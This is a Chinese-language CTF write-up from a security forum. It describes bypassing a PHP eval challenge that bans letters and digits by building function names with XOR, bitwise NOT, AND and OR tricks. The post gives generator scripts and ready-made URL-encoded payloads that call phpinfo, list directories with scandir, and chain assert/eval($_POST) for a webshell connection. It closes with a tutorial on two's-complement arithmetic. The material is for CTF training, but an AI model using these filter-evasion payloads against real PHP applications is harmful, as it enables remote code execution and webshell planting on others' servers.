要是有对异或这些原理有需要去了解的或者对位运算符要了解的,请看看最底部。
还有,麻烦各位哥哥给个赞吧!!!
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
?>
首先先附上一个找想要字符的脚本:
<?php
$a = '~!@#$%^&*()_+\|/?,.<>`-={}[]';
for($i=0;$i<strlen($a);$i++){
for($j=0;$j<strlen($a);$j++){
if(ord($a[$i]^$a[$j])>64 && ord($a[$i]^$a[$j])<91){
echo $a[$i].'^'.$a[$j].'=';
echo chr(ord($a[$i]^$a[$j])).' ';
echo ' '.ord($a[$i]^$a[$j]);
echo "</br>";
}elseif (ord($a[$i]^$a[$j])>96 && ord($a[$i]^$a[$j])<122) {
echo $a[$i].'^'.$a[$j].'=';
echo chr(ord($a[$i]^$a[$j])).' ';
echo ord($a[$i]^$a[$j]);
echo "</br>";
}
}
}
用这个可以找到大小写的字母,然后就可以通过里面的来进行拼凑:
<?php
//_^/=p @^(=h _^/=p @^)=i @^.=n =^[=f /^@=o
echo ("_"^"/");//p
echo "\n";
echo ("@"^"(");//h
echo "\n";
echo ("_"^"/");//p
echo "\n";
echo ("@"^")");//i
echo "\n";
echo ("@"^".");//n
echo "\n";
echo ("="^"[");//f
echo "\n";
echo ("/"^"@");//o
echo "\n";
echo ("_@_@@=/"^"/(/).[@");//phpinfo
所以输入:?code=$_="_@_@@=/"^"/(/).[@";($_)();
就会出现phpinfo()
后来我查了下网上的,发现是用url编码后来写payload,先附上脚本:
<?php
for ($i=123;$i<=255;$i++){
for ($j=123;$j<=255;$j++){
$a = dechex($i);
$a = '%'.$a;
$b = dechex($j);
$b = '%'.$b;
$x = urldecode($a);
$y = urldecode($b);
echo $a.'^'.$b.'~~~';
echo $x^$y;
echo"\n";
}
}
这里提一句,因为%7B
是z
输入后会被匹配,返回NO,所以我设置的是从123
开始循环,再转换成url编码,然后从里面挑选:
<?PHP
//%81^%de~~~_ %82^%c5~~~G %82^%c7~~~E %82^%d6~~~T
$x = urldecode('%81%82%82%82');
$y = urldecode('%de%c5%c7%d6');
echo $x^$y;//_GET
所以构造:code=${%81%82%82%82^%de%c5%c7%d6}{%81}();&%81=phpinfo
就会变成code=$_GET{%81}()
然后传值
这里需要注意的一点是,我们url输入的都是字符串,所以不能直接变成code=$_GET{%81};&%81=phpinfo();
所以这里考虑到的利用方式一般都是无参数文件包含
的这种方法,虽然有code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])
这种构造,但是在PHP7.1
以及其更高的版本,是办不到这种连接蚁剑的操作的,想要操作差不多就只能用无参数文件包含
的方法了
先附上汉字的取反脚本:
<?php
error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
function str_split_unicode($str, $l = 0) {
if ($l > 0) {
$ret = array();
$len = mb_strlen($str, "UTF-8");
for ($i = 0; $i < $len; $i += $l) {
$ret[] = mb_substr($str, $i, $l, "UTF-8");
}
return $ret;
}
return preg_split("//u", $str, -1, PREG_SPLIT_NO_EMPTY);
}
$s = '趣味无穷的哇对方瓦夫哇师傅撒会返回';
$arr_str=str_split_unicode($s);
for ($i=0; $i < strlen($s) ; $i++) {
echo $arr_str[$i].'-->'.~$arr_str[$i]{1}.'<br>';
}
?>
但是数字的,我基本不怎么用,平时比较爱用的是这种最简单的:
<?php
echo urlencode(~'phpinfo');
然后输入:code=(~%8F%97%8F%96%91%99%90)();
通过这个会有很多有趣的构造:
<?php
echo urlencode(~'print_r');echo "\n";//%8F%8D%96%91%8B%A0%8D
echo urlencode(~'scandir');echo "\n";//%8C%9C%9E%91%9B%96%8D
echo urlencode(~'.');echo"\n";//%D1
//code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)))
//code=(print_r)((scandir)(('.')));
所以,最后输入:code=(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)((~%D1)));
可以查看文件等操作,这样就勉强可以代替连接蚁剑,而且高PHP版本都实用
因为异或,取反这种一般玩ctf都很常见的方法都实际是从位运算符改变过来的,所以进一步考虑其它的几个位运算符:
先附上脚本:
<?php
for ($i=123;$i<=255;$i++){
for ($j=123;$j<=255;$j++){
$a = dechex($i);
$a = '%'.$a;
$b = dechex($j);
$b = '%'.$b;
$x = urldecode($a);
$y = urldecode($b);
echo $a.'&'.$b.'~~~';
echo $x&$y;
echo"\n";
}
}
可以看到是可以得到字母和数字的,所以经过测试,还是可以通过&
和|
进行无字母getshell
在最近的一次CTF中,发现一个没有禁数字的,所以有了新的利用
先上脚本
<?php
@var_dump(1/0);//float(INF)
@var_dump((1/0).(0));//string(4) "INF0"
@var_dump(((1/0).(0)){0});echo "\n";//string(1) "I"
@var_dump(0/0);//float(NAN)
@var_dump((6).(0));//string(2) "60"
@var_dump(((6).(0)){0});echo "\n";//string(1) "6"
@var_dump(9999999999*999999999);//float(9.999999989E+18)
@var_dump((9999999999*999999999).(0));//string(16) "9.999999989E+180"
@var_dump(((9999999999*999999999).(0)){11});//string(1) "E"
认真看结果,我们会发现在添加(0)
后,会变成字符类型,然后再通过截断,我们是可以得到数字和一些字符的,然后我们就可以利用上述的位运算符,得到更多的字母,再用新的字母得到更多的字母
这里先说下计算机码:计算机在实际存储数据的时候,采用的编码规则(二进制规则)
计算机码:源码,反码,和补码。数值本身最左边一位是用来充当符号位:正数为0,负数为1
原码:数据本身从十进制转换成二进制得到的结果
正数:左边符号位为0(正数的反码,补码都是其本身)
负数:左边符号位为1
反码:针对负数,符号位不变,其他位取反
补码:针对负数,反码+1 //系统存储负数的样子就是补码
系统中存在两个0:+0和-0
+0:00000000
-0:10000000//源码
取反:11111111
补码:00000000
首先,先列出位运算符:
位运算:取出计算机中最小的单位进行运算
&:按位与,两个都为1,结果为1,否则为0
|:按位或,两个有一个1就是1
~:按位非,两个有一个为1,则变成0,否则反之
^:按位异或,两个相同为0,不同为1
<<:按位左移,向左移一位,右边补0
>>:按位右移,向右移,左边补符号对应内容(正数补0,负数补1)
然后对位运算符的实践
<?php
$a = 5;//00000101
$b = -5;//10000101
var_dump($a & $b);//int(1)
/*
5源码:00000101
-5源码:10000101
取反:11111010 //反码:符号位不变,其它位取反
补码:11111011 //补码:反码+1,计算机对-5的存储就是这样的
所以$a & $b => 取出系统存储的结果进行操作
5:00000101
-5:11111011
在&后变成:00000001变成1
*/
var_dump(~$b);//int(4)
/*
5源码:00000101
-5源码:10000101
取反:11111010 //反码:符号位不变,其它位取反
补码:11111011 //补码:反码+1
所以~$b => 取出系统存储的结果进行操作
-5:11111011//补码
取反后:00000100
原码:00000100(int(4))
*/
var_dump($b>>1);//int(-3)
var_dump($b>>2);//int(-2)
/*
-5:11111011//补码
>>2:11111110//运算结果:补码
反码:11111101
取反:10000010//原码int(-2)
*/
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
奖励系统 | 50.00 | 0 | 2020-07-16 13:01:00 | 投稿满 5 赞奖励 |
Track-聂风 | 150.00 | 0 | 2020-07-14 15:03:16 | 支持同学,加油!!!期待你的新文章 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
Track-聂风
发表于 2020-7-14
异或其实现在一般都会被查杀,同学下篇文章可以写,如何绕过WAF
评论列表
加载数据中...